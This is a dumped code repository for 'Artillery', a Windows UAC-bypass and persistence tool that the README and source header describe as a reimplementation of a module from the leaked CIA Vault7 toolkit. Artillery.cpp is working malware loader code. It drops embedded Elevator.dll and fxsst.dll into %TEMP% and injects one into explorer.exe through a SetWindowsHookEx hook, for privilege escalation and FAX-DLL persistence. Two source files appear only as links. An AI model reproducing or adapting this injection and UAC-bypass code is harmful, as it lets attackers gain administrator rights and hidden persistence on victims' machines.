├── .gitattributes ├── .gitignore ├── Artillery.sln ├── Artillery ├── Artillery.cpp ├── Artillery.rc ├── Artillery.vcxproj ├── Artillery.vcxproj.filters ├── ntos.h └── resource.h ├── Elevator ├── Elevator.cpp ├── Elevator.vcxproj ├── Elevator.vcxproj.filters ├── framework.h ├── pch.cpp └── pch.h ├── README.md └── fxsst ├── framework.h ├── fxsst.cpp ├── fxsst.vcxproj ├── fxsst.vcxproj.filters ├── pch.cpp └── pch.h /.gitattributes: -------------------------------------------------------------------------------- 1 | ############################################################################### 2 | # Set default behavior to automatically normalize line endings. 3 | ############################################################################### 4 | * text=auto 5 | 6 | ############################################################################### 7 | # Set default behavior for command prompt diff. 8 | # 9 | # This is need for earlier builds of msysgit that does not have it on by 10 | # default for csharp files. 11 | # Note: This is only used by command line 12 | ############################################################################### 13 | #*.cs diff=csharp 14 | 15 | ############################################################################### 16 | # Set the merge driver for project and solution files 17 | # 18 | # Merging from the command prompt will add diff markers to the files if there 19 | # are conflicts (Merging from VS is not affected by the settings below, in VS 20 | # the diff markers are never inserted). Diff markers may cause the following 21 | # file extensions to fail to load in VS. An alternative would be to treat 22 | # these files as binary and thus will always conflict and require user 23 | # intervention with every merge. To do so, just uncomment the entries below 24 | ############################################################################### 25 | #*.sln merge=binary 26 | #*.csproj merge=binary 27 | #*.vbproj merge=binary 28 | #*.vcxproj merge=binary 29 | #*.vcproj merge=binary 30 | #*.dbproj merge=binary 31 | #*.fsproj merge=binary 32 | #*.lsproj merge=binary 33 | #*.wixproj merge=binary 34 | #*.modelproj merge=binary 35 | #*.sqlproj merge=binary 36 | #*.wwaproj merge=binary 37 | 38 | ############################################################################### 39 | # behavior for image files 40 | # 41 | # image files are treated as binary by default. 42 | ############################################################################### 43 | #*.jpg binary 44 | #*.png binary 45 | #*.gif binary 46 | 47 | ############################################################################### 48 | # diff behavior for common document formats 49 | # 50 | # Convert binary document formats to text before diffing them. This feature 51 | # is only available from the command line. Turn it on by uncommenting the 52 | # entries below. 53 | ############################################################################### 54 | #*.doc diff=astextplain 55 | #*.DOC diff=astextplain 56 | #*.docx diff=astextplain 57 | #*.DOCX diff=astextplain 58 | #*.dot diff=astextplain 59 | #*.DOT diff=astextplain 60 | #*.pdf diff=astextplain 61 | #*.PDF diff=astextplain 62 | #*.rtf diff=astextplain 63 | #*.RTF diff=astextplain 64 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | ## Ignore Visual Studio temporary files, build results, and 2 | ## files generated by popular Visual Studio add-ons. 3 | ## 4 | ## Get latest from https://github.com/github/gitignore/blob/master/VisualStudio.gitignore 5 | 6 | # User-specific files 7 | *.rsuser 8 | *.suo 9 | *.user 10 | *.userosscache 11 | *.sln.docstates 12 | 13 | # User-specific files (MonoDevelop/Xamarin Studio) 14 | *.userprefs 15 | 16 | # Mono auto generated files 17 | mono_crash.* 18 | 19 | # Build results 20 | [Dd]ebug/ 21 | [Dd]ebugPublic/ 22 | [Rr]elease/ 23 | [Rr]eleases/ 24 | x64/ 25 | x86/ 26 | [Ww][Ii][Nn]32/ 27 | [Aa][Rr][Mm]/ 28 | [Aa][Rr][Mm]64/ 29 | bld/ 30 | [Bb]in/ 31 | [Oo]bj/ 32 | [Oo]ut/ 33 | [Ll]og/ 34 | [Ll]ogs/ 35 | 36 | # Visual Studio 2015/2017 cache/options directory 37 | .vs/ 38 | # Uncomment if you have tasks that create the project's static files in wwwroot 39 | #wwwroot/ 40 | 41 | # Visual Studio 2017 auto generated files 42 | Generated\ Files/ 43 | 44 | # MSTest test Results 45 | [Tt]est[Rr]esult*/ 46 | [Bb]uild[Ll]og.* 47 | 48 | # NUnit 49 | *.VisualState.xml 50 | TestResult.xml 51 | nunit-*.xml 52 | 53 | # Build Results of an ATL Project 54 | [Dd]ebugPS/ 55 | [Rr]eleasePS/ 56 | dlldata.c 57 | 58 | # Benchmark Results 59 | BenchmarkDotNet.Artifacts/ 60 | 61 | # .NET Core 62 | project.lock.json 63 | project.fragment.lock.json 64 | artifacts/ 65 | 66 | # ASP.NET Scaffolding 67 | ScaffoldingReadMe.txt 68 | 69 | # StyleCop 70 | StyleCopReport.xml 71 | 72 | # Files built by Visual Studio 73 | *_i.c 74 | *_p.c 75 | *_h.h 76 | *.ilk 77 | *.meta 78 | *.obj 79 | *.iobj 80 | *.pch 81 | *.pdb 82 | *.ipdb 83 | *.pgc 84 | *.pgd 85 | *.rsp 86 | *.sbr 87 | *.tlb 88 | *.tli 89 | *.tlh 90 | *.tmp 91 | *.tmp_proj 92 | *_wpftmp.csproj 93 | *.log 94 | *.vspscc 95 | *.vssscc 96 | .builds 97 | *.pidb 98 | *.svclog 99 | *.scc 100 | 101 | # Chutzpah Test files 102 | _Chutzpah* 103 | 104 | # Visual C++ cache files 105 | ipch/ 106 | *.aps 107 | *.ncb 108 | *.opendb 109 | *.opensdf 110 | *.sdf 111 | *.cachefile 112 | *.VC.db 113 | *.VC.VC.opendb 114 | 115 | # Visual Studio profiler 116 | *.psess 117 | *.vsp 118 | *.vspx 119 | *.sap 120 | 121 | # Visual Studio Trace Files 122 | *.e2e 123 | 124 | # TFS 2012 Local Workspace 125 | $tf/ 126 | 127 | # Guidance Automation Toolkit 128 | *.gpState 129 | 130 | # ReSharper is a .NET coding add-in 131 | _ReSharper*/ 132 | *.[Rr]e[Ss]harper 133 | *.DotSettings.user 134 | 135 | # TeamCity is a build add-in 136 | _TeamCity* 137 | 138 | # DotCover is a Code Coverage Tool 139 | *.dotCover 140 | 141 | # AxoCover is a Code Coverage Tool 142 | .axoCover/* 143 | !.axoCover/settings.json 144 | 145 | # Coverlet is a free, cross platform Code Coverage Tool 146 | coverage*.json 147 | coverage*.xml 148 | coverage*.info 149 | 150 | # Visual Studio code coverage results 151 | *.coverage 152 | *.coveragexml 153 | 154 | # NCrunch 155 | _NCrunch_* 156 | .*crunch*.local.xml 157 | nCrunchTemp_* 158 | 159 | # MightyMoose 160 | *.mm.* 161 | AutoTest.Net/ 162 | 163 | # Web workbench (sass) 164 | .sass-cache/ 165 | 166 | # Installshield output folder 167 | [Ee]xpress/ 168 | 169 | # DocProject is a documentation generator add-in 170 | DocProject/buildhelp/ 171 | DocProject/Help/*.HxT 172 | DocProject/Help/*.HxC 173 | DocProject/Help/*.hhc 174 | DocProject/Help/*.hhk 175 | DocProject/Help/*.hhp 176 | DocProject/Help/Html2 177 | DocProject/Help/html 178 | 179 | # Click-Once directory 180 | publish/ 181 | 182 | # Publish Web Output 183 | *.[Pp]ublish.xml 184 | *.azurePubxml 185 | # Note: Comment the next line if you want to checkin your web deploy settings, 186 | # but database connection strings (with potential passwords) will be unencrypted 187 | *.pubxml 188 | *.publishproj 189 | 190 | # Microsoft Azure Web App publish settings. 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Backup files are not needed, 256 | # because we have git ;-) 257 | _UpgradeReport_Files/ 258 | Backup*/ 259 | UpgradeLog*.XML 260 | UpgradeLog*.htm 261 | ServiceFabricBackup/ 262 | *.rptproj.bak 263 | 264 | # SQL Server files 265 | *.mdf 266 | *.ldf 267 | *.ndf 268 | 269 | # Business Intelligence projects 270 | *.rdl.data 271 | *.bim.layout 272 | *.bim_*.settings 273 | *.rptproj.rsuser 274 | *- [Bb]ackup.rdl 275 | *- [Bb]ackup ([0-9]).rdl 276 | *- [Bb]ackup ([0-9][0-9]).rdl 277 | 278 | # Microsoft Fakes 279 | FakesAssemblies/ 280 | 281 | # GhostDoc plugin setting file 282 | *.GhostDoc.xml 283 | 284 | # Node.js Tools for Visual Studio 285 | .ntvs_analysis.dat 286 | node_modules/ 287 | 288 | # Visual Studio 6 build log 289 | *.plg 290 | 291 | # Visual Studio 6 workspace options file 292 | *.opt 293 | 294 | # Visual Studio 6 auto-generated workspace file (contains which files were open etc.) 295 | *.vbw 296 | 297 | # Visual Studio LightSwitch build output 298 | **/*.HTMLClient/GeneratedArtifacts 299 | **/*.DesktopClient/GeneratedArtifacts 300 | **/*.DesktopClient/ModelManifest.xml 301 | **/*.Server/GeneratedArtifacts 302 | **/*.Server/ModelManifest.xml 303 | _Pvt_Extensions 304 | 305 | # Paket dependency manager 306 | .paket/paket.exe 307 | paket-files/ 308 | 309 | # FAKE - F# Make 310 | .fake/ 311 | 312 | # CodeRush personal settings 313 | .cr/personal 314 | 315 | # Python Tools for Visual Studio (PTVS) 316 | __pycache__/ 317 | *.pyc 318 | 319 | # Cake - Uncomment if you are using it 320 | # tools/** 321 | # !tools/packages.config 322 | 323 | # Tabs Studio 324 | *.tss 325 | 326 | # Telerik's JustMock configuration file 327 | *.jmconfig 328 | 329 | # BizTalk build output 330 | *.btp.cs 331 | *.btm.cs 332 | *.odx.cs 333 | *.xsd.cs 334 | 335 | # OpenCover UI analysis results 336 | OpenCover/ 337 | 338 | # Azure Stream Analytics local run output 339 | ASALocalRun/ 340 | 341 | # MSBuild Binary and Structured Log 342 | *.binlog 343 | 344 | # NVidia Nsight GPU debugger configuration file 345 | *.nvuser 346 | 347 | # MFractors (Xamarin productivity tool) working folder 348 | .mfractor/ 349 | 350 | # Local History for Visual Studio 351 | .localhistory/ 352 | 353 | # BeatPulse healthcheck temp database 354 | healthchecksdb 355 | 356 | # Backup folder for Package Reference Convert tool in Visual Studio 2017 357 | MigrationBackup/ 358 | 359 | # Ionide (cross platform F# VS Code tools) working folder 360 | .ionide/ 361 | 362 | # Fody - auto-generated XML schema 363 | FodyWeavers.xsd -------------------------------------------------------------------------------- /Artillery.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 17 4 | VisualStudioVersion = 17.8.34316.72 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Artillery", "Artillery\Artillery.vcxproj", "{09743FE5-D604-4620-8B74-AD4AD8262FC6}" 7 | ProjectSection(ProjectDependencies) = postProject 8 | {1743DF2C-80B0-46F7-9644-C739D52E520A} = {1743DF2C-80B0-46F7-9644-C739D52E520A} 9 | {9B0D1CC6-734A-4208-9384-CB32C27B46C2} = {9B0D1CC6-734A-4208-9384-CB32C27B46C2} 10 | EndProjectSection 11 | EndProject 12 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Elevator", "Elevator\Elevator.vcxproj", "{1743DF2C-80B0-46F7-9644-C739D52E520A}" 13 | EndProject 14 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "fxsst", "fxsst\fxsst.vcxproj", "{9B0D1CC6-734A-4208-9384-CB32C27B46C2}" 15 | EndProject 16 | Project("{2150E333-8FDC-42A3-9474-1A3956D46DE8}") = "Solution Items", "Solution Items", "{45BD37E6-7687-4371-9886-102ED3B712E2}" 17 | ProjectSection(SolutionItems) = preProject 18 | README.md = README.md 19 | EndProjectSection 20 | EndProject 21 | Global 22 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 23 | Debug|x64 = Debug|x64 24 | Debug|x86 = Debug|x86 25 | Release|x64 = Release|x64 26 | Release|x86 = Release|x86 27 | EndGlobalSection 28 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 29 | {09743FE5-D604-4620-8B74-AD4AD8262FC6}.Debug|x64.ActiveCfg = Debug|x64 30 | {09743FE5-D604-4620-8B74-AD4AD8262FC6}.Debug|x64.Build.0 = Debug|x64 31 | {09743FE5-D604-4620-8B74-AD4AD8262FC6}.Debug|x86.ActiveCfg = Debug|Win32 32 | {09743FE5-D604-4620-8B74-AD4AD8262FC6}.Debug|x86.Build.0 = Debug|Win32 33 | {09743FE5-D604-4620-8B74-AD4AD8262FC6}.Release|x64.ActiveCfg = Release|x64 34 | {09743FE5-D604-4620-8B74-AD4AD8262FC6}.Release|x64.Build.0 = Release|x64 35 | {09743FE5-D604-4620-8B74-AD4AD8262FC6}.Release|x86.ActiveCfg = Release|Win32 36 | {09743FE5-D604-4620-8B74-AD4AD8262FC6}.Release|x86.Build.0 = Release|Win32 37 | {1743DF2C-80B0-46F7-9644-C739D52E520A}.Debug|x64.ActiveCfg = Debug|x64 38 | {1743DF2C-80B0-46F7-9644-C739D52E520A}.Debug|x64.Build.0 = Debug|x64 39 | {1743DF2C-80B0-46F7-9644-C739D52E520A}.Debug|x86.ActiveCfg = Debug|Win32 40 | {1743DF2C-80B0-46F7-9644-C739D52E520A}.Debug|x86.Build.0 = Debug|Win32 41 | {1743DF2C-80B0-46F7-9644-C739D52E520A}.Release|x64.ActiveCfg = Release|x64 42 | {1743DF2C-80B0-46F7-9644-C739D52E520A}.Release|x64.Build.0 = Release|x64 43 | {1743DF2C-80B0-46F7-9644-C739D52E520A}.Release|x86.ActiveCfg = Release|Win32 44 | {1743DF2C-80B0-46F7-9644-C739D52E520A}.Release|x86.Build.0 = Release|Win32 45 | {9B0D1CC6-734A-4208-9384-CB32C27B46C2}.Debug|x64.ActiveCfg = Debug|x64 46 | {9B0D1CC6-734A-4208-9384-CB32C27B46C2}.Debug|x64.Build.0 = Debug|x64 47 | {9B0D1CC6-734A-4208-9384-CB32C27B46C2}.Debug|x86.ActiveCfg = Debug|Win32 48 | {9B0D1CC6-734A-4208-9384-CB32C27B46C2}.Debug|x86.Build.0 = Debug|Win32 49 | {9B0D1CC6-734A-4208-9384-CB32C27B46C2}.Release|x64.ActiveCfg = Release|x64 50 | {9B0D1CC6-734A-4208-9384-CB32C27B46C2}.Release|x64.Build.0 = Release|x64 51 | {9B0D1CC6-734A-4208-9384-CB32C27B46C2}.Release|x86.ActiveCfg = Release|Win32 52 | {9B0D1CC6-734A-4208-9384-CB32C27B46C2}.Release|x86.Build.0 = Release|Win32 53 | EndGlobalSection 54 | GlobalSection(SolutionProperties) = preSolution 55 | HideSolutionNode = FALSE 56 | EndGlobalSection 57 | GlobalSection(ExtensibilityGlobals) = postSolution 58 | SolutionGuid = {B27DA0DB-6C77-4383-8E73-B86142FFF796} 59 | EndGlobalSection 60 | EndGlobal 61 | -------------------------------------------------------------------------------- /Artillery/Artillery.cpp: -------------------------------------------------------------------------------- 1 | /* 2 | * Filename: Artillery.cpp 3 | * 4 | * Classification: 5 | * Classified By: 6 | * 7 | * Tool Name: Artillery 8 | * Requirement #:2022-1337 9 | * 10 | * Author: Hacker Fantastic 11 | * Date Created: 12/30/2023 12 | * Version 1.0:12/30/2023 (00:00) 13 | * 14 | * The Vault7 wiki contains references to privilate escalation modules 15 | * used by the AED. This is an implementation of "Artillery - UAC Bypass" 16 | * which is one of several UAC bypasses described in the leak. 17 | * 18 | * Artillery Utilizes elevated COM object to write to System32 and an 19 | * auto-elevated process to execute as administrator. According to the 20 | * wiki this is used for persistence through injection of a FAX DLL to 21 | * explorer.exe. This UAC bypass (and the persitence) has been tested 22 | * on Windows 7 and Windows Vista. 23 | * 24 | */ 25 | #include 26 | #include 27 | #include 28 | #include 29 | #include "resource.h" 30 | 31 | #pragma comment(lib,"User32.lib") 32 | 33 | // Function to extract a resource to a file 34 | bool ExtractResource(const HINSTANCE hInstance, WORD resourceID, LPCTSTR szFilename) 35 | { 36 | bool bSuccess = false; 37 | try 38 | { 39 | HRSRC hResource = FindResource(hInstance, MAKEINTRESOURCE(resourceID), L"BINARY"); 40 | if (hResource) 41 | { 42 | HGLOBAL hFileResource = LoadResource(hInstance, hResource); 43 | if (hFileResource) 44 | { 45 | void* lpFile = LockResource(hFileResource); 46 | DWORD dwSize = SizeofResource(hInstance, hResource); 47 | 48 | HANDLE hFile = CreateFile(szFilename, GENERIC_READ | GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); 49 | if (hFile != INVALID_HANDLE_VALUE) 50 | { 51 | DWORD dwByteWritten; 52 | bSuccess = WriteFile(hFile, lpFile, dwSize, &dwByteWritten, NULL); 53 | CloseHandle(hFile); 54 | } 55 | else 56 | { 57 | std::cerr << "Failed to create file: " << GetLastError() << std::endl; 58 | } 59 | FreeResource(hFileResource); 60 | } 61 | else 62 | { 63 | std::cerr << "Failed to load resource: " << GetLastError() << std::endl; 64 | } 65 | } 66 | else 67 | { 68 | std::cerr << "Failed to find resource: " << GetLastError() << std::endl; 69 | } 70 | } 71 | catch (...) 72 | { 73 | std::cerr << "Exception occurred while extracting resource" << std::endl; 74 | bSuccess = false; 75 | } 76 | return bSuccess; 77 | } 78 | 79 | typedef LRESULT(CALLBACK* HOOKPROC)(int code, WPARAM wParam, LPARAM lParam); 80 | 81 | DWORD GetExplorerThreadId(DWORD pid) 82 | { 83 | HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0); 84 | THREADENTRY32 threadEntry; 85 | threadEntry.dwSize = sizeof(THREADENTRY32); 86 | 87 | if (Thread32First(snapshot, &threadEntry)) 88 | { 89 | do 90 | { 91 | if (threadEntry.th32OwnerProcessID == pid) 92 | { 93 | CloseHandle(snapshot); 94 | return threadEntry.th32ThreadID; 95 | } 96 | } while (Thread32Next(snapshot, &threadEntry)); 97 | } 98 | 99 | CloseHandle(snapshot); 100 | return 0; 101 | } 102 | 103 | 104 | int main() 105 | { 106 | // Get the %TEMP% directory 107 | TCHAR szTempDir[MAX_PATH]; 108 | GetTempPath(MAX_PATH, szTempDir); 109 | printf("Temp directory: %s\n", szTempDir); 110 | // Build the full paths for the DLLs 111 | TCHAR szElevatorDllPath[MAX_PATH]; 112 | TCHAR szFxsstDllPath[MAX_PATH]; 113 | _stprintf_s(szElevatorDllPath, _T("%s\\Elevator.dll"), szTempDir); 114 | _stprintf_s(szFxsstDllPath, _T("%s\\fxsst.dll"), szTempDir); 115 | printf("Elevator DLL path: %s\n", szElevatorDllPath); 116 | printf("Fxsst DLL path: %s\n", szFxsstDllPath); 117 | // Extract the DLLs to the %TEMP% directory 118 | if (!ExtractResource(GetModuleHandle(NULL), IDR_ELEVATOR_DLL, szElevatorDllPath)) 119 | { 120 | std::cerr << "Failed to extract Elevator.dll" << std::endl; 121 | return 1; 122 | } 123 | if (!ExtractResource(GetModuleHandle(NULL), IDR_FXSST_DLL, szFxsstDllPath)) 124 | { 125 | std::cerr << "Failed to extract fxsst.dll" << std::endl; 126 | return 1; 127 | } 128 | DWORD pid = 0; 129 | HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); 130 | PROCESSENTRY32 processEntry; 131 | processEntry.dwSize = sizeof(PROCESSENTRY32); 132 | if (Process32First(snapshot, &processEntry)) 133 | { 134 | do 135 | { 136 | if (_wcsicmp(processEntry.szExeFile, L"explorer.exe") == 0) 137 | { 138 | pid = processEntry.th32ProcessID; 139 | break; 140 | } 141 | } while (Process32Next(snapshot, &processEntry)); 142 | } 143 | CloseHandle(snapshot); 144 | if (pid == 0) 145 | { 146 | std::cerr << "Failed to find explorer.exe\n"; 147 | return 1; 148 | } 149 | DWORD tid = GetExplorerThreadId(pid); 150 | if (tid == 0) 151 | { 152 | std::cerr << "Failed to find a thread of explorer.exe\n"; 153 | return 1; 154 | } 155 | HMODULE hDll = LoadLibraryEx(szElevatorDllPath, NULL, DONT_RESOLVE_DLL_REFERENCES); 156 | if (!hDll) 157 | { 158 | std::cerr << "Failed to load Elevator.dll: " << GetLastError() << std::endl; 159 | return 1; 160 | } 161 | printf("Loaded Elevator.dll\n"); 162 | #ifdef _WIN64 163 | // x64 164 | HOOKPROC hookProcAddr = (HOOKPROC)GetProcAddress(hDll, "CBTProc"); 165 | #elif _WIN32 166 | // x86 167 | HOOKPROC hookProcAddr = (HOOKPROC)GetProcAddress(hDll, "_CBTProc@12"); 168 | #endif 169 | if (!hookProcAddr) 170 | { 171 | std::cerr << "Failed to get _CBTProc address: " << GetLastError() << std::endl; 172 | return 1; 173 | } 174 | printf("Got _CBTProc address\n"); 175 | HHOOK hHook = SetWindowsHookEx(WH_GETMESSAGE, hookProcAddr, hDll, tid); 176 | if (!hHook) 177 | { 178 | std::cerr << "Failed to set hook: " << GetLastError() << std::endl; 179 | return 1; 180 | } 181 | printf("Hook set\n"); 182 | // Send a WM_RBUTTONDOWN message to the thread to trigger the hook 183 | if (!PostThreadMessage(tid, WM_RBUTTONDOWN, (WPARAM)0, (LPARAM)0)) 184 | { 185 | std::cerr << "Failed to post thread message: " << GetLastError() << std::endl; 186 | return 1; 187 | } 188 | printf("WM_RBUTTONDOWN message posted\n"); 189 | // Sleep for 1 second 190 | Sleep(1000); 191 | // Unhook and unload the DLL 192 | UnhookWindowsHookEx(hHook); 193 | FreeLibrary(hDll); 194 | printf("Unhooked and unloaded DLL\n"); 195 | return 0; 196 | } -------------------------------------------------------------------------------- /Artillery/Artillery.rc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ASkyeye/Artillery/0db513e924c41dae42a3ade222528e6408566eec/Artillery/Artillery.rc -------------------------------------------------------------------------------- /Artillery/Artillery.vcxproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | Debug 14 | x64 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | 22 | 17.0 23 | Win32Proj 24 | {09743fe5-d604-4620-8b74-ad4ad8262fc6} 25 | Artillery 26 | 10.0 27 | 28 | 29 | 30 | Application 31 | true 32 | v143 33 | Unicode 34 | 35 | 36 | Application 37 | false 38 | v143 39 | true 40 | Unicode 41 | Static 42 | 43 | 44 | Application 45 | true 46 | v143 47 | Unicode 48 | 49 | 50 | Application 51 | false 52 | v142 53 | true 54 | Unicode 55 | Static 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | Level3 78 | true 79 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) 80 | true 81 | 82 | 83 | Console 84 | true 85 | 86 | 87 | _WIN32;_NDEBUG;_UNICODE;UNICODE;%(PreprocessorDefinitions) 88 | 89 | 90 | 91 | 92 | Level3 93 | true 94 | true 95 | true 96 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 97 | true 98 | 99 | 100 | Console 101 | true 102 | true 103 | true 104 | 105 | 106 | _WIN32;_NDEBUG;_UNICODE;UNICODE;%(PreprocessorDefinitions) 107 | 108 | 109 | 110 | 111 | Level3 112 | true 113 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions) 114 | true 115 | 116 | 117 | Console 118 | true 119 | 120 | 121 | _WIN64;_DEBUG;_UNICODE;UNICODE;%(PreprocessorDefinitions) 122 | 123 | 124 | 125 | 126 | Level3 127 | true 128 | true 129 | true 130 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 131 | true 132 | 133 | 134 | Console 135 | true 136 | true 137 | true 138 | 139 | 140 | _WIN64;_NDEBUG;_UNICODE;UNICODE;%(PreprocessorDefinitions) 141 | 142 | 143 | 144 | 145 | 146 | 147 | 148 | 149 | 150 | 151 | 152 | 153 | 154 | 155 | 156 | 157 | 158 | 159 | 160 | 161 | 162 | -------------------------------------------------------------------------------- /Artillery/Artillery.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | Source Files 20 | 21 | 22 | 23 | 24 | Header Files 25 | 26 | 27 | Header Files 28 | 29 | 30 | 31 | 32 | Resource Files 33 | 34 | 35 | Resource Files 36 | 37 | 38 | 39 | 40 | 41 | 42 | Resource Files 43 | 44 | 45 | -------------------------------------------------------------------------------- /Artillery/resource.h: -------------------------------------------------------------------------------- 1 | //{{NO_DEPENDENCIES}} 2 | // Microsoft Visual C++ generated include file. 3 | // Used by Artillery.rc 4 | // 5 | #define IDR_ELEVATOR_DLL 101 6 | #define IDR_FXSST_DLL 102 7 | 8 | 9 | // Next default values for new objects 10 | // 11 | #ifdef APSTUDIO_INVOKED 12 | #ifndef APSTUDIO_READONLY_SYMBOLS 13 | #define _APS_NEXT_RESOURCE_VALUE 105 14 | #define _APS_NEXT_COMMAND_VALUE 40001 15 | #define _APS_NEXT_CONTROL_VALUE 1001 16 | #define _APS_NEXT_SYMED_VALUE 101 17 | #endif 18 | #endif 19 | -------------------------------------------------------------------------------- /Elevator/Elevator.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ASkyeye/Artillery/0db513e924c41dae42a3ade222528e6408566eec/Elevator/Elevator.cpp -------------------------------------------------------------------------------- /Elevator/Elevator.vcxproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | Debug 14 | x64 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | 22 | 17.0 23 | Win32Proj 24 | {1743df2c-80b0-46f7-9644-c739d52e520a} 25 | Elevator 26 | 10.0 27 | 28 | 29 | 30 | DynamicLibrary 31 | true 32 | v143 33 | Unicode 34 | 35 | 36 | DynamicLibrary 37 | false 38 | v143 39 | true 40 | Unicode 41 | Static 42 | 43 | 44 | DynamicLibrary 45 | true 46 | v143 47 | Unicode 48 | 49 | 50 | DynamicLibrary 51 | false 52 | v143 53 | true 54 | Unicode 55 | Static 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | Level3 78 | true 79 | WIN32;_DEBUG;ELEVATOR_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions) 80 | true 81 | Use 82 | pch.h 83 | 84 | 85 | Windows 86 | true 87 | false 88 | 89 | 90 | 91 | 92 | Level3 93 | true 94 | true 95 | true 96 | WIN32;NDEBUG;ELEVATOR_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions) 97 | true 98 | Use 99 | pch.h 100 | 101 | 102 | Windows 103 | true 104 | true 105 | true 106 | false 107 | 108 | 109 | 110 | 111 | Level3 112 | true 113 | _DEBUG;ELEVATOR_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions) 114 | true 115 | Use 116 | pch.h 117 | 118 | 119 | Windows 120 | true 121 | false 122 | 123 | 124 | 125 | 126 | Level3 127 | true 128 | true 129 | true 130 | NDEBUG;ELEVATOR_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions) 131 | true 132 | Use 133 | pch.h 134 | 135 | 136 | Windows 137 | true 138 | true 139 | true 140 | false 141 | 142 | 143 | 144 | 145 | 146 | 147 | 148 | 149 | 150 | Create 151 | Create 152 | Create 153 | Create 154 | 155 | 156 | 157 | 158 | 159 | -------------------------------------------------------------------------------- /Elevator/Elevator.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | Header Files 20 | 21 | 22 | Header Files 23 | 24 | 25 | 26 | 27 | Source Files 28 | 29 | 30 | Source Files 31 | 32 | 33 | -------------------------------------------------------------------------------- /Elevator/framework.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #define WIN32_LEAN_AND_MEAN // Exclude rarely-used stuff from Windows headers 4 | // Windows Header Files 5 | #include 6 | -------------------------------------------------------------------------------- /Elevator/pch.cpp: -------------------------------------------------------------------------------- 1 | // pch.cpp: source file corresponding to the pre-compiled header 2 | 3 | #include "pch.h" 4 | 5 | // When you are using pre-compiled headers, this source file is necessary for compilation to succeed. 6 | -------------------------------------------------------------------------------- /Elevator/pch.h: -------------------------------------------------------------------------------- 1 | // pch.h: This is a precompiled header file. 2 | // Files listed below are compiled only once, improving build performance for future builds. 3 | // This also affects IntelliSense performance, including code completion and many code browsing features. 4 | // However, files listed here are ALL re-compiled if any one of them is updated between builds. 5 | // Do not add files here that you will be updating frequently as this negates the performance advantage. 6 | 7 | #ifndef PCH_H 8 | #define PCH_H 9 | 10 | // add headers that you want to pre-compile here 11 | #include "framework.h" 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | #include 18 | #endif //PCH_H 19 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Artillery 2 | 3 | Artillery is a UAC bypass method described by the Central Intelligence Agency (CIA) Applied 4 | Engineering Department (AED) in the "Fine Dining" toolkit, which are modular components used 5 | to create malware. This module is part of the Privilege Escalation collection and is combined 6 | with other modules and payloads. The purpose is to bypass UAC and a second attack is used 7 | to obtain persistence on a host. Artillery utilizes elevated COM object to write to System32 8 | and an auto-elevated process to execute as administrator, it can then be combined with a 9 | FAX DLL injection for explorer.exe for persistence on a host. This UAC bypass and persistence 10 | has been tested on Windows 7 and Windows Vista. 11 | 12 | ## License 13 | 14 | These files are available under a Attribution-NonCommercial-NoDerivatives 4.0 International license. 15 | 